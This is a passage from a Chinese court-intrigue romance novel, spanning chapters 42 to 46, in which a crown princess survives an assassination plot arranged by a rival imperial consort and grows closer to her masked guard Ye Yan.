李玄尧喝了口茶,缓声说道:“靖伯公府是淑妃的母家,这面子咱们得给。” 淑妃,江箐珂多少知晓一些。 别看母家只是个伯公府,可在后宫里,却是唯一可与惠贵妃分庭抗礼之人。 江箐珂收起邀帖,知道李玄尧定是有别的话要说,才叫她来书房的。 “殿下还有何话要说?” 李玄尧直言。 “惠贵妃正在打你妹妹江箐瑶的主意,前些日子,曾求父皇把江箐瑶赐给十弟当侧妃。” “本宫想请爱妃家书一封,让岳父大人今早给江箐瑶在西延定门亲事。” 言语间,他又命曹公公将一个名册呈递给了江箐珂。 “若是无好的佳婿人选,本宫愿意引荐几位贵公子供二妹妹择选。” 事情提得有些突然,一时之间,其中利弊很难想得清晰。 秉着凡事三思而行的道理,江箐珂并未马上应下。 她接过名册翻了翻,浅笑道:“容妾身想想,过几日再给殿下答复。” 笑意不达眼底,李玄尧直勾勾地瞧着她,反问道:“这有何好想的,还是爱妃信不过本宫的眼光,挑些纨绔子弟给二妹妹?” 江箐珂摇头,搪塞笑道:“就是怕殿下眼光太好了,毕竟,妾身可见不得这二妹妹嫁得好,过得好。” 李玄尧挑眉抿唇,算是默许。 * 次日。 喜晴坐着东宫的马车跟在后面,江箐珂则受淑妃之邀,同乘一辆去往靖伯公府。 马车上,淑妃面色和蔼地握住江箐珂的手,举止甚是亲近。 江箐珂性子虽孤傲蛮横,但为人处世上,亦懂圆滑世故之道,也放下架子,言笑晏晏地假意相与。 淑妃同她聊了一些琐事后,终于把话题引到了正事上。 “听闻,太子妃还有个妹妹,也到了嫁人的年龄。” 原来是在这儿等着她呢。 江箐瑶竟成了香饽饽,这一个个的,都打起了她的主意。 江箐珂勾唇笑得明媚,点头回淑妃。 “是有个妹妹。” “那可定过亲事?”淑妃问。 江箐珂一副不太确定的表情。 “离家前倒是尚未定下,眼下就不知了。” 淑妃听后,甚是欣喜。 “太子妃才嫁入东宫多久,亲事哪能那么快定下的。” 她拍着江箐珂的手道:“本宫的小十一,前不久啊,刚开府封王,也是时候成亲娶妃了。” “这京城好吃的好玩的多,太子妃何不家书一封,把妹妹和你母亲接到京城住上些时日。” 又是家书...... 言语间,淑妃将手腕上的那个帝王绿翡翠镯子,顺着相握的两只手,套在了江箐珂的细腕上。 “到时,吃的住的,尽管交由本宫来安排。” “正好也能让小十一和你妹妹相看相看。” “若是你妹妹愿意,便先同你母亲面对面地聊下亲事。” 江箐珂弯唇一笑,自是知晓淑妃在打什么主意。 虽说大周并不只她父亲一位功勋赫赫的大将军,除了西延外,在东西南三处边陲也各有掌控兵权的武将世家。 但西延比较特殊。 它位于四国接壤相邻地段,是大周国最重要的关守之城。 是以,无论是兵马数量,还是兵将实力,都是最强的。 谁能得了江家军这个靠山,就相当于得了大周的半壁江山。 且,尚有待嫁女儿的大将军,目前还真就只有他们江家一个。 而夺储之争,并不会因为李玄尧被立为了太子,她嫁入了东宫而终止。 相反,会愈演愈烈,直到尘埃彻底落定那一日。 江箐珂表现得有些为难。 “可儿臣听说,惠贵妃似乎也有意求皇上将我妹妹赐给十皇子良王。” 她将翡翠镯子又套回到了淑妃的手上。 可淑妃又将镯子推了回来。 她苦口婆心地劝道:“若是嫁给良王,那也只能是侧妃,侧妃哪有正妃好?” “可若是你妹妹能嫁给小十一,当了王妃,日后你姐妹二人在京城也好有个照应不是?” “更何况......” 淑妃脸上的笑意味加深。 “司马昭之心,人尽皆知。” “太子妃如此聪慧伶俐,难道还看不出惠贵妃动的是什么心思吗?” “本宫猜......太子妃也不希望那同父异母的妹妹,日后会踩在你的头上,过得比你风光吧?” 第42章 困了有人递枕头 这话说得,让江箐珂对淑妃另眼相看。 不愧是后宫里能盛宠不衰之人。 这不仅身份背景调查得清清楚楚,连她的心思都揣摩得透透的。 淑妃趁热打铁,又给江箐珂吃定心丸。 “太子妃尽管放心,本宫只希望我家小十一这辈子能在江老将军的庇护下,逍遥自在,平平安安地过一辈子,并无其他奢望。” “可是惠贵妃就不同了,她母家权势大,野心自然也大。” 江箐珂听懂了淑妃的话中意。 可即使她说得再情真意切,江箐珂都深谙一个道理。 人心难测。 镯子再次被江箐珂推了回去。 她拖着声调,笑意不达眼底地直言道:“可儿臣更不希望这个妹妹飞上枝头变凤凰,让她嫁到京城当王妃,然后整日在我眼皮子底下蹦跶。” 抽回手,江箐珂双手抱在胸前,表现出一副特别厌恶江箐瑶的表情来。 “不瞒淑妃娘娘,儿臣就希望她能嫁个杀猪卖菜的,或者放牛种地的,一辈子都过苦日子。” “若撮合促成她跟十一皇子的婚事,成了王妃......” 眉头轻拱,江箐珂偏头看向淑妃,嘟嘴委屈道:“儿臣夜里会气得睡不着哒。” “......” 淑妃哑口无言,显然没预料江箐珂是这个路数。 怔愣大半晌,最后只是嘘声一笑,也不再强求她。 而江箐珂更不担心江箐瑶会嫁给十皇子当侧妃。 她知道,父亲定是不舍得让江箐瑶嫁到京城,卷入波云诡谲的权力之争。 否则,江箐瑶哭天嚎地要当太子妃时,父亲也不会关了她好几日。 江箐珂正沉思着,突然无缘头地打了几个喷嚏。 她不知,此时皇宫之内,正有人在聊着她。 “刺客都安排好了?”惠贵妃懒声问道。 一名面相阴沉的老太监颔首回道:“都安排好了,在太子妃回宫的必经之路上。” “太子派人杀了本宫的三皇子,今日,本宫就杀了他的太子妃。” 惠贵妃欣赏手上刚涂的丹蔻,语气幽幽道:“本就该给老三当侧妃的人,偏偏被李玄尧抢了去。正好,今日杀了她,拉去给本宫的三皇子陪葬。” 老太监赔笑道:“奴才已经迫不及待了想瞧瞧,太子妃死后,太子会是何等表情了?” 惠贵妃想了想,笑得香肩微颤。 “没了江家这个靠山,看他拿什么跟本宫斗。” 老太监凑上前去,小心翼翼地给惠贵妃捶腿。 “主子乃花神娘娘下凡转世,所愿皆所成,十殿下定能继承大统。” “且当今太子早无孕育皇嗣之能,已不具储君之资,待日后朝臣确信弹劾,太子之位迟早是咱们十殿下的。” 惠贵妃冷声催促。 “派个人去趟西延,想法子劝劝江大将军,让他把那小女儿嫁给老十。实在不行,就把人给强行接来,来个生米煮熟饭。” “奴才这就去办。” ...... 靖伯公府的及笄礼办得很是热闹,还请来了京城远近闻名的戏班子。 江箐珂悠哉悠哉地看了几场戏,见时辰差不多了,便先行离开了伯公府。 淑妃好不容易回趟母家,自是要多留些时辰的。 日薄西山,华灯初上。 江箐珂所乘的马车在几名东宫侍卫的护送下,不疾不徐地朝着皇宫的方向驶去。 待马车左拐右拐,驶进一条略为僻静的街巷,拉车的马忽然像是受惊似,忽然仰蹄嘶鸣。 刹那间,羽箭如雨般地射向车壁,马车外登时嘈杂聒噪起来。 江箐珂推开车窗去看,只见数十名蒙面刺客陆续从四面八方的墙顶、屋顶上翻跃而来,杀气逼人。 “保护太子妃。” 几声刺耳的信号弹冲天,剑身出鞘,厮杀开始。 然而对方人数众多,那几名东宫侍卫皆被缠杀得分不开身。 江箐珂拿起刺龙鞭,和喜晴欲要下车与东宫侍卫同战,却被挑开车帘的两把剑尖逼得坐回了车内。 马车被刺客所控,朝出城的方向,飞奔在渐浓的夜幕之下。 江箐珂倒是不慌。 若是十几个刺客一起上,江箐珂没什么信心以少胜多。 可区区两个,简直是小菜一碟。 霎那间,脑子里迸出个念头。 这不就是她死遁的大好机会? 真是饿了,有人喂饭;困了,有人递枕头。 歪了下头,她看着不断朝她逼近的剑尖,不屑地哂笑了一声。 抬手微微将剑尖拨向旁侧,她懒洋洋地掀起眼皮,看向那刺客。 黑白分明的美眸清清冷冷的,隐隐透着一股轻蔑之意。 “知道我爹是谁吗?” 刺客冷声回她。 “刺客只在乎要杀的人是谁,跟我们求饶拼爹,没用。” 喜晴脆生生地替江箐珂解释了一句,顺便吸引了刺客的注意力。 “我家主子的意思不是求饶,是想告诉你,我们没那么好杀。” 喜晴的话音未落,江箐珂便已将鞭子甩出,缠绕在了那名刺客的手腕上,随后身体向侧偏移,动作敏捷地躲过了刺客的第一剑。 另一侧的喜晴,也在第一时间掏出匕首,用刀刃挡住了另一名刺客朝江箐珂砍下来剑。 长剑刺了个空,却因力度过大,深陷在车壁之中。 而缠在那手腕上的刺龙鞭则越缠越紧,越紧鞭上的倒刺则扎得越深。 鲜血淋漓,刺客疼得痛不欲生,不得不松开了剑柄。 江箐珂则将车壁上的剑反手拔出,一个利落的剑花,径直便刺入刺客的胸口。 手中的皮鞭顺势甩出,又不偏不倚地绕缠在另一名蒙面刺客的脖子上...... 不稍片刻,马车内的两名蒙面刺客,便一命呜呼。 江箐珂提剑,掀起车帘,偷瞧了一眼那个赶马车的。 显然,那刺客还不知晓车内是个什么情形。 喜晴欲要冲出去杀了那刺客,却被江箐珂嘘声拦了下来。 第43章 隐隐庆幸 马车飞速奔驰,江箐珂的脑子也在飞速转着。 一个刺客好对付,问题是死遁后她和喜晴该如何离开京城,路上的盘缠又如何解决。 “身上带银子了吗?”江箐珂小声问喜晴。 喜晴掏出钱袋子,压着嗓子回:“奴婢就带了这些。” 江箐珂接过来瞧了一眼。 买两身低调的百姓衣服,再住几晚的客栈,这袋银子基本就没了,肯定不够到西延的。 知晓江箐珂的心思后,喜晴指了指江箐珂头上的凤钗金簪。 “咱们可以把这些当掉。” 江箐珂摇头。 “这都属于宫中之物,当铺一般不收。” “就算是收了,当铺先生转身就会报官。” 喜晴在旁出主意. “那咱们就先寻个地儿给熔了。” 银子的事儿,其实只要想法子,总是有解决办法的。 可出城的通关文牒和身份文书,要走些关系和门路,才能花银子弄两份假的来。 江箐珂刚来京城没几个月,人生地不熟,还真不知该去哪里托人办这些。 凝眉思忖之际,马车猛地一沉,突然有人跳了上来。 剑声铿锵,有人和赶马车的刺客打了起来。 江箐珂掀帘一看,竟是谷丰和那刺客打得正凶。 蒙面刺客被剑刺中,在摔下马车时,随手甩出数道暗器。 几枚暗器被谷丰用剑打开,偏偏有几枚刺进了马屁股上。 骏马吃痛受惊,仰蹄嘶鸣,刹那间,便疯了一般地拉着马车四处奔驰乱撞,冲进一条繁华熙攘的闹市街巷。 谷丰本想去握紧缰绳,可一个没站稳,被甩下马车,远远抛在后面。 江箐珂和喜晴也在刹那间被强力甩回车厢。 马车里天上地下,颠簸无比。 江箐珂和喜晴夹在两具尸体间,被晃得东倒西歪,颠得四下磕撞,根本没法儿起身站稳,去顾及其他。 街上的百姓们惊呼狂叫,四下奔跑躲闪。 人惊,马更惊。 两匹拉车的马儿就跟无头苍蝇似的,一边撂着蹶子,一边四下惊恐狂奔。 一个个商贩摊子被撞得七零八碎,蔬菜、瓜果、小物件飞溅散落,被轧得稀碎。 顷刻间,一条街巷狼藉不堪。 再这么跑下去,江箐珂真怕这马车会撞死城中的百姓。 可惜喜晴的头磕到车壁,一下子晕了过去。 江箐珂只能自己推开压在身上的尸体,在颠簸乱晃中艰难地爬到车厢外。 她一手抓着车壁,免得被甩出车外,一手则去够那悬在车辕上的缰绳。 指尖一点点靠近,终于抓住了缰绳。 江箐珂五官用劲,咬着牙关,用尽全力去拉扯缰绳,企盼自己能拉住这疯跑的马车。 然而,受惊的马却狂奔不停,任她如何用力去拽缰绳。 耳边风声猎猎作响,街巷两旁的事物飞快地向后飞驰。 眼见着两匹马就要冲到街巷尽头,带着马车,径直撞向那建在街尾且满是宾客的茶楼,江箐珂却毫无回天之力。 就在此时,一道黑影突然从旁侧的屋顶上腾空跳下,落在马车正前方不远处。 长剑从那人手中横飞扫出,锋利的剑刃径直割了马喉。 同时,那道黑影则几个箭步迎面跑来,在某一个瞬间点脚起跳腾空。 他紧握的拳头,在身体下坠时,带着一股强劲的拳风,重重地砸在另一匹马的头上。 仅一次拳而已,两匹马同时轰然倒地,没了气息。 飞驰的马车却因惯性,带着两匹已死的骏马侧滑、翻转,撞到那家茶楼门前的石雕貔貅上。 嘭的一声巨响,马车散了架,细碎的木屑向半空飞溅,连带着江箐珂也被重重摔了出去。 一切都发生得太快,快得让人措手不及。 江箐珂闭着眼,双手护着头,已做好了坠地前的保护动作。 可嘭的一下,明明是撞到了什么,却没有坠地时强烈的冲击感。 取而代之的是宽阔结实的胸膛,清浅而熟悉的药香,还有箍在腰间的力度以及熟悉的气息...... 江箐珂恍了一下神儿,抱着头缓缓睁开眼,只见自己落在了那黑衣男子的胸怀里。 那舞动飘飞的黑色帷纱在此刻垂落,恰好将江箐珂的脸也罩进了帷帽之下。 薄薄的一层纱而已,却像一道法力无边的结界,硬是隔绝出两个世界。 帷纱之外,嘈杂纷乱一片;帷纱之内,岑寂无声。 在这小小的方寸之间,能听到彼此的呼吸和擂鼓般的心跳。 借着街巷两侧酒肆茶楼的灯火,江箐珂抬眸去看救她的人。 一双看了就让人移不开视线的异瞳赫然撞入她的眼底。 他眼神坚毅沉冷,可眸底却弥漫着惊恐、慌乱的余韵。 江箐珂第一次直观感觉到,人的情绪和眼神竟然也会有颜色。 一侧的惊恐是深褐色,一侧的慌乱则是水蓝色。 他胸膛剧烈起伏,大口喘着粗气,吹得那面纱微微轻动。 看得出来,他赶来之前跑得有多急。 而抱她的一只手,此时在微微颤抖,不知是不是伤到了筋骨。 江箐珂手欠,连句道谢的话都没说,就要伸手去摘人家的面纱。 双腿登时被放下落地,对方腾出的大手及时抓住了她的手腕,并一把将江箐珂推出了帷帽之外。 他转身要走,江箐珂却反手握住了他的手。 正要试着叫他一声“夜颜”时,京城的官兵同东宫侍卫一同朝这边赶来。 异瞳男子看了眼那群人,甩开江箐珂的手,便头也不回地隐入了围观的人群之中,独留着江箐珂站在原地遥望。 其实,今日考虑是否该借机死遁时,江箐珂是有一瞬犹豫的。 全因脑海里突然冒出的那道身影。 她当时给自己寻了好多下次再寻机死遁的借口。 可借口其实只有一个,就是她都没能跟夜颜好好告个别。 而此时此刻,眼前渐行渐远的背影和脑海里的那道身影,逐渐交叠重合。 江箐珂竟隐隐庆幸,她还得回东宫。 第44章 他的模样 东宫,凤鸾轩。 江箐珂除了脚崴到外,身体并无大碍。 喜晴的额头虽然磕破了一处,但好在人没傻,醒来后,也只是头疼恶心而已。 李玄尧甚是殷切地带了几名御医,急匆匆赶到凤鸾轩。 待御医给她二人诊脉开过药后,才安下心带人出宫去善后。 祸虽是刺客惹的,但毕竟是因东宫太子妃而起。 街巷上被马车撞翻的摊铺,李玄尧都让人一一送了银子赔偿,被撞坏的铺子也给出了修缮的银两,有因马车冲撞而受伤的百姓,李玄尧也安排了几位大夫去诊治。 至于活捉的刺客,没等押到大牢拷问,便在途中服毒自尽。 一场因刺客而起的騒乱,终于在深夜时分彻底平息了下来。 寝殿内,江箐珂未留一个宫婢。 就她自己一个人,坐在榻边,手法娴熟地用药膏揉着肿起的脚背。 等了大半晌,终于等来了窸窣的脚步声。 月白色的衣摆入目,不等江箐珂抬头看他,夜颜却先在她脚前蹲下身来。 手指剜了点药膏,他捧起她的那肿得高高的脚,力道适中地替她揉搓按摩了起来。 双手撑在身侧,江箐珂则歪头坐在那里打量着夜颜的手。 虽然不是很明显,但他的右手用力时,仍会轻微地抖动几下。 手指抵住他的下颌,江箐珂将那狐狸面勾抬了起来。 她伸手指了指他的右手,然后比划了一个今晚现跟宫婢学的哑语,问他手疼不疼。 也不知是她记错了,比划得不对,夜颜顶着那狐狸面具瞧了她好半晌,都没有回应。 江箐珂蹙了下眉头。 一双美眸左右转了转,回想了下今晚学的几个手语。 【晚膳吃了吗?】 【今天很热,对不对?】 【谢谢你救我。】 见夜颜始终怔愣在那里,江箐珂局促地抿了抿唇,有些不好意思地看着他,问:“都错了?” 夜颜没有回应,而是偏头看向别处。 江箐珂瞧见他的喉结上下滚了滚,似乎是在努力吞咽着某种情绪。 她伸出双手,捧着那副狐狸面,将夜颜的脸扭向自己。 “夜颜。” 一改往日的骄横,她今天说话都是轻轻柔柔的。 想着日后或许还会有今日这样的时机,让她不得不突然死遁离开,提前说句告别的话,也算不留遗憾。 她道:“如果有一天我死了,你千万......” 大手突然捂住江箐珂的嘴,把那剩下的那半句“别难过”,都给堵了回去。 一股浓重的药膏冲入鼻腔,江箐珂忽然意识到,堵在嘴边的手,夜颜刚刚用来给她揉过脚丫子。 虽然是自己的脚丫子,可她也是嫌弃的。 美眸圆睁,她唔唔发声,把夜颜的手打开。 衣袖用力擦了擦嘴后,江箐珂没好气地冲夜颜凶道:“用摸过脚丫子的手捂本宫的嘴,你找抽是不是?” 夜颜微微摇头,面具下传来几声轻笑的鼻息声。 末了,他比划了一个江箐珂不知晓的手势,然后便按着她的头,把江箐珂揽入了怀里。 江箐珂却“啊”的一下,又是一声惨叫。 “疼,疼……” “你压到我的脚了!” 夜颜闻声,又立马将她松开,转而又给她揉起脚来。 江箐珂疼得呲牙咧嘴。 “夜颜,你是刺客同伙吧,想活活疼死我不成?” 撇嘴矫情时,她的目光又落在了夜颜的右手上。 自己的手也没好到哪儿去,还给她揉脚? 悻悻抽回脚丫子,她摔摔打打地弄了些药膏在手上。 拽起夜颜的那只手,江箐珂又带着脾气给他的手臂涂药按摩。 默了半晌,江箐珂问:“每次李玄尧有危险时,你都是那么卖命的吗?” 烛光流淌,将寂静的殿内映得暖融一片。 江箐珂抬眸睨了夜颜一眼,见他正顶着那狐狸面具瞧着她。 遂又懒声道:“别装了。我知道救我的那个人就是你。” 她抬起手指,在狐狸面具的右眼下敲了敲。 “这只眼睛是深褐色的。” 指尖移到另一侧。 “这只眼睛是水蓝色的。” 江箐珂眼底含笑,眼神无比笃定地凝视着夜颜,将她留意的那些蛛丝马迹一一摊开。 “你右手在抖,是因你今天用右拳在瞬间打死了那匹马。” “你和那个人的身量也相仿,因为我站在他身前和站在你身前时是一样的,头顶都是刚好到你的下巴尖。” “夜颜,我对你可是太熟悉了。” “气息,味道,包括你抱我时的感觉。” “太池园的那次,我就已经怀疑那个异瞳男子就是你。” “所以,你就别再装了。” “我已经知晓你异瞳的秘密,同我一起的时,这狐狸面具便也无须再戴。” 江箐珂摩拳擦掌,一双欠手又开始蠢蠢欲动。 “快,把面具摘下来,让本宫康康。” 夜颜终于有了点反应。 他从袖袋里掏出折册子和炭笔,回了江箐珂一句。 【尚不是时机。】 就像孩童要不到糖人一样,江箐珂满脸沮丧,坐在那里蹬腿乱踹嘤嘤嘤。 “看个脸儿而已,还需要什么破时机啊?” “本宫的脚都崴成这样了……” 江箐珂抓着夜颜的手,顶着一张可怜兮兮的脸,话带哭腔地求道:“你就可怜可怜我,让我瞧一眼吧。” “就一眼好吗?” “看了后,我保准谁也不说。” 怕夜颜不信她,江箐珂手举到头顶。 “我发誓,我要说了,我就是下蛋的鸡,吃草的牛,抓兔子的狗,被宰杀的猪,招人烦的鹅。” 夜颜偏头,似是被逗笑了。 他点了下头,但抬手朝床榻的方向指了指。 “到床上就给看?”江箐珂问。 夜颜点头。 江箐珂跃跃欲试地展开双臂,“快,抱本宫上床。” 夜颜单臂将她抱起,然后扛在肩头,走到花枝灯前将烛火一一熄灭。 眼见着殿内的光线渐暗,江箐珂急了。 “你把灯都熄了,我怎么看?” 她大声抗议着:“不许熄灯。” 抗议无效,最后变成妥协。 “那就留一盏,留一盏总行吧。” 直到最后一豆烛光熄灭,寝殿彻底被黑暗吞噬占据。 “夜颜,你找抽是不是?” 江箐珂在夜颜的肩头发怒,又打又踢。 “乌漆嘛黑的,你让本宫看什么。” 鸟都看不见。 …… 叽里呱啦的一顿责骂,皆在那狐狸面具落在江箐珂手中的那刻,戛然而止。 她抬手去摸夜颜的脸,一双眼睛用力地睁着,只盼能快点适应殿内的黑,好看清他的模样。 第45章 戏弄 眼睛逐渐适应夜的黑。 可即便如此,也只能隐约看出人脸的轮廓。 想看清楚五官,除非是火眼金睛。 江箐珂推开动不动就往她身上贴的夜颜,置气地将狐狸面具扔还给他。 “看不清。” “一点都看不清。” 她谈起了条件,“你若是想同房,就去给本宫拿盏灯来瞧瞧。” 黑暗中,夜颜却是坐着不动。 江箐珂连他的视线落在何处,都看不出来。 唯有一双手,一会儿捏捏她的腿,一会儿摸摸她的脸,一会儿又勾勾她的手指头,好像把她当成了好玩的物件在摆弄。 江箐珂怄气地默了半晌,便想换个路数。 “夜颜。” 软软糯糯的一声,听起来就满是算计。 “你可心悦于我?” 夜颜在她手心勾画了一个“是”。 “手写无凭,你得证明给我看。” “你若真的心悦于我,就去拿盏烛灯来,让我看看你的脸。” “否则,你的话就是假的,代表你根本不喜欢我。” 夜颜显然不入坑,握着她的手在那里无声摩挲着。 火气在心底酝酿。 江箐珂冷声威胁:“本宫数到三。” 夜颜仍稳坐泰山,丝毫没有妥协之意。 还数什么呢,江箐珂连一都懒得数,就连推带踹地将夜颜哄下了床。 “不喜欢我,还想睡本宫的床?” “滚!” 夜颜这下倒是乖顺,起身又去了那美人榻躺下。 江箐珂躺在床上翻来覆去睡不着,总想没事儿找事,来发泄心里的那股子怨气。 “夜颜,你过来。” 起初,夜颜没理会她。 江箐珂便拿起乔来:“我是太子妃,你若不听我的,我就去告诉李玄尧。” 夜颜来了。 江箐珂又侧卧在那里挥了挥手,驱赶他。 “没事儿了,回去躺着吧。” 夜颜沉了一口气,转身,回去躺下。 没一会儿,江箐珂又唤他:“夜颜,我脚疼,你过来给我揉揉脚。” 夜颜照做了。 可揉了片刻的脚,江箐珂又把人给哄下了床。 如此,江箐珂一会儿说帐内有蚊子,一会儿又说口渴要喝水,来来回回溜了夜颜好几次。 待幼稚无聊的把戏玩腻了,江箐珂拍了拍身侧。 “看在你今日跑来救本宫的份儿上,就准你上床来睡。” 可夜颜一躺下,就不安分地往她身上贴。 江箐珂用夜颜送的簪子抵在他的喉结上,一寸一寸地又把他给顶了回去。 “不给看脸,休想同房。” “要是再敢来强的,你看本宫以后睬不睬你。” 夜颜规规矩矩地不再乱动。 江箐珂作够了,也满意了。 她面向夜颜侧卧,手卷着他的头发玩儿。 “你还挺听话的。” “不像我那阿兄,我让他往东,他大部分时候都会往西,什么事就喜欢跟我对着来,气人得很。” “夜颜。” 江箐珂凑到夜颜的耳边,轻声道:“我就喜欢像你这么听话的,脾气比我好,怎么戏弄都不会生气。” 夜颜转过头来,恰好与她鼻尖碰着鼻尖。 气息在鼻尖下交织纠缠,无端引人心跳怦然,稀里糊涂的,就促成了一个极轻的吻。 可亲了一下,又怎能忍住不再亲一下。 一个接一个,夜颜的呼吸逐渐变快,喘出来的气也开始发烫。 江箐珂察觉再这么下去,怕是要干柴遇烈火,立马又退回了自己的位置,拉开了两人的距离。 宽大温烫的掌心握住江箐珂的手,夜颜在她手心上一笔一画地写下两个字。 【帮我。】 寝殿内又静又黑。 视觉受限,其他的感官便异常地敏锐。 帐内的空气在不断地升温,暧昧在两人周身疯狂滋生,然后弥漫到角角落落。 夜颜的呼吸粗重急促,江箐珂听得出他此时此刻真的很难受。 带着几分想戏弄的坏心思,江箐珂答应了。 夜颜的骄傲,石更气得夸张。 江箐珂也是初次干这种事,难免会手生。 好在夜颜手把手地教她。 待上手了,也放得开了,江箐珂便开始调弄起夜颜来。 “夜颜,你怎么不喘啊?” “是不喜欢吗?” “你快喘,我想听。” 夜颜抚着江箐珂的脸,明明沉沦享受得很,却又不得不分点心神,来应对她的挑剔。 “啧,喘太快了,慢点!” “哎呀!喘得太轻了,重一点。” 有时夜颜顾不得迎合她,江箐珂就报复性地要撒手不管,逼着他像个甘愿受虐的奴隶似的,只能一一照做。 “夜颜,你可以亲亲我的。” “不许亲嘴。” “也不许伸舌头。” “啧,说了不许伸舌头,收回去!” 夜颜心甘情愿地成了她的掌中之物,被她玩得欲仙欲死。 头埋在她的肩颈处,当烟花绽放时,体内的那股欲火彻底发泄了出来。 江箐珂摸他的头,问夜颜:“喜欢吗?喜欢你就伸出舌头,连着喘三下。” 伸舌头? 还连着喘三下? 像个什么? 夜颜听了是有气又觉得好笑。 他强势地将江箐珂按进怀里,含着她的花唇,就是一顿啃咬,将刚刚受的那些戏弄全都在唇齿间讨了回来。 ...... 伤筋动骨一百天。 江箐珂崴到了脚,不好走路,便在凤鸾轩里养了大半个月。 期间,李玄尧倒是来看过她一两次。 “给岳父大人的家书可写了?” 李玄尧耐着性子问她。 江箐珂却所问非所答:“买刺客杀我的幕后之人可查到了?” 李玄尧深呼了一口气,沉着面色,冷声提醒。 “听闻,惠贵妃和淑妃那边都派了人去西延,劝爱妃尽快写封家书给岳父大人。” 江箐珂却摆弄玉佩上的流苏络子,若有所思道:“我在京城无仇无怨的,会是谁想杀我呢?” 两个人坐在一起,却是各说各的。 李玄尧捏了捏眉头,强压着那一触即发的暴戾之气。 “爱妃若是再耽误下去,江箐瑶怕是要成为你的弟妹了。” 江箐珂兀自想着刺客的事。 “我才来京城多久,人生地不熟的,想杀我的人,一定是因为太子殿下。” 李玄尧语气凝重而严肃。 “别怪本宫没提醒你,无论是惠贵妃,还是淑妃,可都对你背后那五十万大军打主意呢。” 江箐珂眉头紧锁:“可对方杀了我,会有什么好处呢?” 李玄尧面无表情。 “爱妃不是最见不得别人抢你的东西,用你的东西吗?” 江箐珂摇头沉思:“殿下对我又不是情根深种,诛心自是不可能,那他们为的是什么呢?” 李玄尧看向别处,漫不经心道:“那五十万江家军不就是你江箐珂的嫁妆?有人要对你嫁妆打主意,爱妃就不着急?” “对!” 江箐珂突然看向李玄尧,好像想通了什么似的,眸眼晶晶亮道:“我的嫁妆。” 李玄尧脸上终于有了笑模样。 “对,爱妃的嫁妆。” 江箐珂道:“杀了我,我的嫁妆就变成江箐瑶的了。” 李玄尧立马拿起团扇给她扇风。 “正是。” “你的就要变成你二妹妹的了,爱妃生气吧?” 江箐珂怒拍桌子。 “所以,刺客的幕后之人要么是惠贵妃和十皇子,要么是淑妃和十一皇子。” 李玄尧揉了揉太阳穴,闭眼平复情绪。 “所以,爱妃快给岳父大人写封家书吧。” 第46章 报喜 一番权衡过后,这封家书江箐珂写了。 知道父亲最是疼爱江箐瑶,在信上,江箐珂把惠贵妃、淑妃,还有那两个皇子,写得要多坏有多坏。 除此之外,还把李玄尧给江箐瑶选的夫君名册,连同书信也一起送去了西延。 因为,在等到极好的脱身时机之前,她得先做对李玄尧有用的人。 可江箐珂的信刚送出去两日,李玄尧就又把她叫到了书房。 他黑着一张脸,鼻子不是鼻子,眼睛不是眼睛地看着她,好像江箐珂欠他五十万大军似的。 “探子来报,你母亲和江箐瑶不日即将到京城。” “什么?” 江箐珂腾地站起,说话的声调都跟着高了许多。 “不日就到京城?” “就他俩?” 眉心鼓着不悦,李玄尧直勾勾地看着她点头。 江箐珂甚感诧异。 “我父亲都不管?” 李玄尧薄唇微讽一牵,冷言冷语中还带着几分责怪。 “这一切,还不得归功于爱妃。” “爱妃求父皇赏赐给江老将军的寿礼,听说,江老将军很是满意。” “爱妃的......孝心......” 孝心二字,李玄尧是咬着后槽牙说出来的,“都尽到惠贵妃和淑妃那里去了呢。” 江箐珂一听便懂了。 高兴、痛快、幸灾乐祸,多种情绪在心头交杂。 她都能想象出继母在面对皇上赐给父亲的平妻和良妾时,得气成何种鬼样子。 偏偏是皇上赐的美人,打不得,骂不得,也赶不走,只能眼睁睁地看着父亲左拥右抱,渐渐冷落她这位芳华已过的旧人。 继母定是被气疯了,才带着江箐瑶离家出走的。 好呀,好呀。 母亲当年受过的委屈,还有看着平妻风风光光入府的滋味,如今张氏也终于尝到了。 “还笑得出来?” 李玄尧冷声斥责了一句,转而面色担忧道:“只怕在来京城的路上,你二妹妹的婚事便要定下了。” 江箐珂哼笑了一声,煞有把握道:“放心吧,我那继母可不是省油的灯,精明着呢。” “江箐瑶是她的心头肉,婚姻大事,在不知根不知底的情况下,她是断不会草率应下任何一方的。” 李玄尧挑眉问她:“当真?” 江箐珂眸眼澄澈清明,点头点得用力。 “从小跟她斗到大,保真。” 李玄尧的脸色终于好了许多。 “如此,待他母女二人到京城时,爱妃便将其接到东宫里暂住些时日。” “爱妃出头是天经地义,惠贵妃和淑妃他们就算再想抢人,到时也没得立场抢。” 都说喜鹊报喜,江箐珂回到凤鸾轩,便看到一只喜鹊在墙角的那棵柿子树上叽叽喳喳地叫。 喜晴瞧见了,欢喜道:“太子妃定是要有什么喜事发生了。” 江箐珂乜了那喜鹊一眼,想到了江箐瑶那母女二人。 见他母女就心烦,哪能是喜事。 她摇头表示晦气。 结果,次日,江箐珂便收到了喜信儿。 当曹公公将一封信送到她手里时,江箐珂感觉像是在做梦。 信封上“江箐珂亲启”五个字,是她再熟悉不过的字体。 兄长江止终于给她回信了。 “太子妃,大公子在信上写了什么?”喜晴迫不及待地问。 江箐珂将江止写的内容反反复复看了三遍,才敢相信一切是真的。 她唇角勾着欣喜,激动不已道:“阿兄也要来京城了。” 喜晴杏眼圆睁,怔了片刻,似是感到难以置信,探头朝那信笺上又看了一眼。 “真的是,大公子竟然也跟着来了京城?!” 主仆二人高兴得嘴都合不拢。 江箐珂从未这么盼着能快点看到江箐瑶和继母。 他们母女到京城之时,便是见江止之时。 江箐珂和喜晴在这儿正高兴呢,殿外突然聒噪起来。 很快,杂乱的脚步声行至殿门外。 来的是张良娣和徐才人,还有一两名嬷嬷和宫婢。 张良娣正义凛然,徐才人是哭哭啼啼。 这一看就是有事。 她正高兴着呢,非得来给添堵。 江箐珂压着性子,懒洋洋道:“闹闹哄哄的,成何体统?” “启禀太子妃,妾身有要事禀告。”张良娣拎着裙裾,莲步上前。 “说。” “今日,妾身从院内嬷嬷那里听到一件可怖之事,为了验证真伪,便去了徐妹妹的屋子里,找她喝茶。没想到......竟然真的发现了这个。” 张良娣从身后的宫婢手中接过一样东西,然后双手呈递给了江箐珂。 江箐珂接过一看,竟是被扎了数根银针的人偶。 张良娣字句清晰道:“臣妾怀疑,徐妹妹是在用巫术诅咒太子妃,请太子妃明察。” “良娣怎知这小人咒的是本宫?” 江箐珂拿着那缝得奇丑的偶人左瞧右瞧,前看后看,“这上面写本宫名字了?” 